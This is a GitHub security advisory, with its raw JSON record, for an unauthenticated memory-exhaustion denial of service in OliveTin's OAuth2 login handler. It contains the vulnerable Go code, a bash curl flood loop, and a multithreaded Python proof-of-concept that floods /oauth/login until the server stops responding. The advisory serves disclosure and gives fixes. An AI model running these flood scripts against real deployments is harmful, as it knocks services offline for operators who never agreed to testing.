GHSA-XPXJ-F2FM-RQCH

Vulnerability from github – Published: 2026-07-30 14:24 – Updated: 2026-07-30 14:24
VLAI
Summary
OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)
Details

Summary

OliveTin's OAuth2 login handler stores per-login state in an in-memory map (registeredStates) that grows unboundedly. States are added on every /oauth/login request but are never deleted or expired. An unauthenticated attacker can send millions of requests to /oauth/login to fill the map with state entries, exhausting server memory and causing a denial of service.

This is distinct from CVE-2026-28789 (concurrent map writes crash). That CVE was about the panic from unsynchronized map access — the fix added a sync.RWMutex. This vulnerability is about the unbounded growth of the map even WITH the mutex, as no cleanup mechanism exists.

Affected Versions

  • All versions with OAuth2 support, including >= 3000.10.3 (which patched CVE-2026-28789)

Details

In service/internal/auth/otoauth2/restapi_auth_oauth2.go:

type OAuth2Handler struct {
    cfg                 *config.Config
    mu                  sync.RWMutex
    registeredStates    map[string]*oauth2State  // NEVER cleaned up
    registeredProviders map[string]*oauth2.Config
}

The HandleOAuthLogin handler adds a new state on every request:

func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {
    state, _ := randString(16)  // 24-byte base64 string
    // ...
    h.mu.Lock()
    h.registeredStates[state] = &oauth2State{
        providerConfig: provider,
        providerName:   providerName,
        Username:       "",
    }
    h.mu.Unlock()
    // ... redirect to OAuth2 provider
}

The HandleOAuthCallback handler updates existing states but never removes them:

func (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) {
    // ...
    h.mu.Lock()
    h.registeredStates[state].Username = userinfo.Username  // Updates, never deletes
    h.registeredStates[state].Usergroup = ...
    h.mu.Unlock()
}

There is no TTL, no expiry check, no periodic cleanup, and no max size limit on registeredStates.

Memory Impact Per State

Each map entry consists of: - Key: ~24 bytes (base64 string) - Value: *oauth2State struct containing: - providerConfig *oauth2.Config (pointer, 8 bytes + shared config) - providerName string (~8-16 bytes) - Username string (empty initially) - Usergroup string (empty initially) - Go map overhead: ~100-150 bytes per entry

Estimated: ~200 bytes per state entry

At 1 million states ≈ 200 MB of memory consumed. At 10 million states ≈ 2 GB of memory consumed.

Attack Vector

The /oauth/login endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.

PoC

Prerequisites

  • OliveTin instance with at least one OAuth2 provider configured
  • Network access to /oauth/login

Config

listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "INFO"
checkForUpdates: false

authOAuth2RedirectUrl: "http://127.0.0.1:1337/oauth/callback"
authOAuth2Providers:
  github:
    clientId: "test-client-id"
    clientSecret: "test-client-secret"

actions:
  - title: noop
    shell: echo "ok"

Step 1: Baseline health check

curl -i http://127.0.0.1:1337/readyz
# Expected: 200 OK

curl -I "http://127.0.0.1:1337/oauth/login?provider=github"
# Expected: 302 Found (redirect to GitHub)

Step 2: Flood with state-creation requests

# Each request creates a new map entry that is never cleaned up
for i in $(seq 1 100000); do
  curl -s -o /dev/null "http://127.0.0.1:1337/oauth/login?provider=github" &
  # Throttle to avoid connection limits
  if (( i % 500 == 0 )); then
    wait
    echo "Sent $i requests..."
  fi
done
wait
echo "Flood complete"

Step 3: Python PoC for sustained memory exhaustion

#!/usr/bin/env python3
"""PoC: OAuth2 State Memory Exhaustion DoS

Distinct from CVE-2026-28789 (concurrent map crash).
This exploits unbounded growth of the registeredStates map.
"""

import requests
import time
import sys
from concurrent.futures import ThreadPoolExecutor

TARGET = "http://127.0.0.1:1337"
PROVIDER = "github"
WORKERS = 50
TOTAL_REQUESTS = 500000
BATCH_SIZE = 1000

def create_state(_):
    """Send /oauth/login to create a new state entry."""
    try:
        requests.get(
            f"{TARGET}/oauth/login?provider={PROVIDER}",
            allow_redirects=False,
            timeout=5
        )
        return True
    except Exception:
        return False

def check_health():
    """Check if the server is still responsive."""
    try:
        r = requests.get(f"{TARGET}/readyz", timeout=5)
        return r.status_code == 200
    except Exception:
        return False

print(f"[*] Target: {TARGET}")
print(f"[*] Provider: {PROVIDER}")
print(f"[*] Total requests: {TOTAL_REQUESTS}")
print(f"[*] Workers: {WORKERS}")
print()

if not check_health():
    print("[!] Server not reachable")
    sys.exit(1)

start_time = time.time()
total_created = 0

with ThreadPoolExecutor(max_workers=WORKERS) as executor:
    for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE):
        batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS)
        results = list(executor.map(create_state, range(batch_start, batch_end)))
        total_created += sum(results)

        elapsed = time.time() - start_time
        rate = total_created / elapsed if elapsed > 0 else 0
        est_memory = total_created * 200 / 1024 / 1024  # MB

        print(f"  States created: {total_created:>8} | "
              f"Rate: {rate:>6.0f}/s | "
              f"Est. memory: {est_memory:>6.1f} MB | "
              f"Healthy: {check_health()}")

        if not check_health():
            print(f"\n[!] Server became unresponsive after {total_created} states!")
            print(f"[!] Estimated memory consumed: {est_memory:.1f} MB")
            break

print(f"\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s")

Step 4: Verify memory growth (Docker)

docker stats olivetin-instance --no-stream
# Observe MEM USAGE growing continuously during the attack

Impact

  • Who is impacted: All OliveTin deployments with any OAuth2 provider configured
  • Attack requirements: Unauthenticated network access to /oauth/login
  • Effect: Gradual memory exhaustion leading to OOM kill or service degradation
  • Persistence: Memory is never reclaimed (states are never deleted) even after the attack stops — a restart is required
  • Distinction from CVE-2026-28789: That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied.

Suggested Fix

  1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie MaxAge)
  2. Add a maximum state count (e.g., 10,000) with LRU eviction
  3. Clean up states after successful callback
  4. Add periodic garbage collection for expired states
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.0-20251024001301-45f9c18bc3ee"
            },
            {
              "fixed": "0.0.0-20260708075951-ec114e95d297"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-401",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T14:24:53Z",
    "nvd_published_at": "2026-07-29T21:17:47Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOliveTin\u0027s OAuth2 login handler stores per-login state in an in-memory map (`registeredStates`) that grows unboundedly. States are added on every `/oauth/login` request but are **never deleted or expired**. An unauthenticated attacker can send millions of requests to `/oauth/login` to fill the map with state entries, exhausting server memory and causing a denial of service.\n\nThis is **distinct from CVE-2026-28789** (concurrent map writes crash). That CVE was about the panic from unsynchronized map access \u2014 the fix added a `sync.RWMutex`. This vulnerability is about the **unbounded growth** of the map even WITH the mutex, as no cleanup mechanism exists.\n\n## Affected Versions\n\n- All versions with OAuth2 support, including \u003e= 3000.10.3 (which patched CVE-2026-28789)\n\n## Details\n\nIn `service/internal/auth/otoauth2/restapi_auth_oauth2.go`:\n\n```go\ntype OAuth2Handler struct {\n    cfg                 *config.Config\n    mu                  sync.RWMutex\n    registeredStates    map[string]*oauth2State  // NEVER cleaned up\n    registeredProviders map[string]*oauth2.Config\n}\n```\n\nThe `HandleOAuthLogin` handler adds a new state on every request:\n\n```go\nfunc (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {\n    state, _ := randString(16)  // 24-byte base64 string\n    // ...\n    h.mu.Lock()\n    h.registeredStates[state] = \u0026oauth2State{\n        providerConfig: provider,\n        providerName:   providerName,\n        Username:       \"\",\n    }\n    h.mu.Unlock()\n    // ... redirect to OAuth2 provider\n}\n```\n\nThe `HandleOAuthCallback` handler updates existing states but never removes them:\n\n```go\nfunc (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) {\n    // ...\n    h.mu.Lock()\n    h.registeredStates[state].Username = userinfo.Username  // Updates, never deletes\n    h.registeredStates[state].Usergroup = ...\n    h.mu.Unlock()\n}\n```\n\nThere is **no TTL, no expiry check, no periodic cleanup, and no max size limit** on `registeredStates`.\n\n### Memory Impact Per State\n\nEach map entry consists of:\n- Key: ~24 bytes (base64 string)\n- Value: `*oauth2State` struct containing:\n  - `providerConfig *oauth2.Config` (pointer, 8 bytes + shared config)\n  - `providerName string` (~8-16 bytes)\n  - `Username string` (empty initially)\n  - `Usergroup string` (empty initially)\n- Go map overhead: ~100-150 bytes per entry\n\nEstimated: **~200 bytes per state entry**\n\nAt 1 million states \u2248 **200 MB** of memory consumed.\nAt 10 million states \u2248 **2 GB** of memory consumed.\n\n### Attack Vector\n\nThe `/oauth/login` endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.\n\n## PoC\n\n### Prerequisites\n\n- OliveTin instance with at least one OAuth2 provider configured\n- Network access to `/oauth/login`\n\n### Config\n\n```yaml\nlistenAddressSingleHTTPFrontend: 0.0.0.0:1337\nlogLevel: \"INFO\"\ncheckForUpdates: false\n\nauthOAuth2RedirectUrl: \"http://127.0.0.1:1337/oauth/callback\"\nauthOAuth2Providers:\n  github:\n    clientId: \"test-client-id\"\n    clientSecret: \"test-client-secret\"\n\nactions:\n  - title: noop\n    shell: echo \"ok\"\n```\n\n### Step 1: Baseline health check\n\n```bash\ncurl -i http://127.0.0.1:1337/readyz\n# Expected: 200 OK\n\ncurl -I \"http://127.0.0.1:1337/oauth/login?provider=github\"\n# Expected: 302 Found (redirect to GitHub)\n```\n\n### Step 2: Flood with state-creation requests\n\n```bash\n# Each request creates a new map entry that is never cleaned up\nfor i in $(seq 1 100000); do\n  curl -s -o /dev/null \"http://127.0.0.1:1337/oauth/login?provider=github\" \u0026\n  # Throttle to avoid connection limits\n  if (( i % 500 == 0 )); then\n    wait\n    echo \"Sent $i requests...\"\n  fi\ndone\nwait\necho \"Flood complete\"\n```\n\n### Step 3: Python PoC for sustained memory exhaustion\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: OAuth2 State Memory Exhaustion DoS\n\nDistinct from CVE-2026-28789 (concurrent map crash).\nThis exploits unbounded growth of the registeredStates map.\n\"\"\"\n\nimport requests\nimport time\nimport sys\nfrom concurrent.futures import ThreadPoolExecutor\n\nTARGET = \"http://127.0.0.1:1337\"\nPROVIDER = \"github\"\nWORKERS = 50\nTOTAL_REQUESTS = 500000\nBATCH_SIZE = 1000\n\ndef create_state(_):\n    \"\"\"Send /oauth/login to create a new state entry.\"\"\"\n    try:\n        requests.get(\n            f\"{TARGET}/oauth/login?provider={PROVIDER}\",\n            allow_redirects=False,\n            timeout=5\n        )\n        return True\n    except Exception:\n        return False\n\ndef check_health():\n    \"\"\"Check if the server is still responsive.\"\"\"\n    try:\n        r = requests.get(f\"{TARGET}/readyz\", timeout=5)\n        return r.status_code == 200\n    except Exception:\n        return False\n\nprint(f\"[*] Target: {TARGET}\")\nprint(f\"[*] Provider: {PROVIDER}\")\nprint(f\"[*] Total requests: {TOTAL_REQUESTS}\")\nprint(f\"[*] Workers: {WORKERS}\")\nprint()\n\nif not check_health():\n    print(\"[!] Server not reachable\")\n    sys.exit(1)\n\nstart_time = time.time()\ntotal_created = 0\n\nwith ThreadPoolExecutor(max_workers=WORKERS) as executor:\n    for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE):\n        batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS)\n        results = list(executor.map(create_state, range(batch_start, batch_end)))\n        total_created += sum(results)\n\n        elapsed = time.time() - start_time\n        rate = total_created / elapsed if elapsed \u003e 0 else 0\n        est_memory = total_created * 200 / 1024 / 1024  # MB\n\n        print(f\"  States created: {total_created:\u003e8} | \"\n              f\"Rate: {rate:\u003e6.0f}/s | \"\n              f\"Est. memory: {est_memory:\u003e6.1f} MB | \"\n              f\"Healthy: {check_health()}\")\n\n        if not check_health():\n            print(f\"\\n[!] Server became unresponsive after {total_created} states!\")\n            print(f\"[!] Estimated memory consumed: {est_memory:.1f} MB\")\n            break\n\nprint(f\"\\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s\")\n```\n\n### Step 4: Verify memory growth (Docker)\n\n```bash\ndocker stats olivetin-instance --no-stream\n# Observe MEM USAGE growing continuously during the attack\n```\n\n## Impact\n\n- **Who is impacted:** All OliveTin deployments with any OAuth2 provider configured\n- **Attack requirements:** Unauthenticated network access to `/oauth/login`\n- **Effect:** Gradual memory exhaustion leading to OOM kill or service degradation\n- **Persistence:** Memory is never reclaimed (states are never deleted) even after the attack stops \u2014 a restart is required\n- **Distinction from CVE-2026-28789:** That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied.\n\n## Suggested Fix\n\n1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie `MaxAge`)\n2. Add a maximum state count (e.g., 10,000) with LRU eviction\n3. Clean up states after successful callback\n4. Add periodic garbage collection for expired states",
  "id": "GHSA-xpxj-f2fm-rqch",
  "modified": "2026-07-30T14:24:53Z",
  "published": "2026-07-30T14:24:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-xpxj-f2fm-rqch"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67437"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/commit/ec114e95d297b806c3ca0c37bc139b3c9c517b3f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.17.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)"
}



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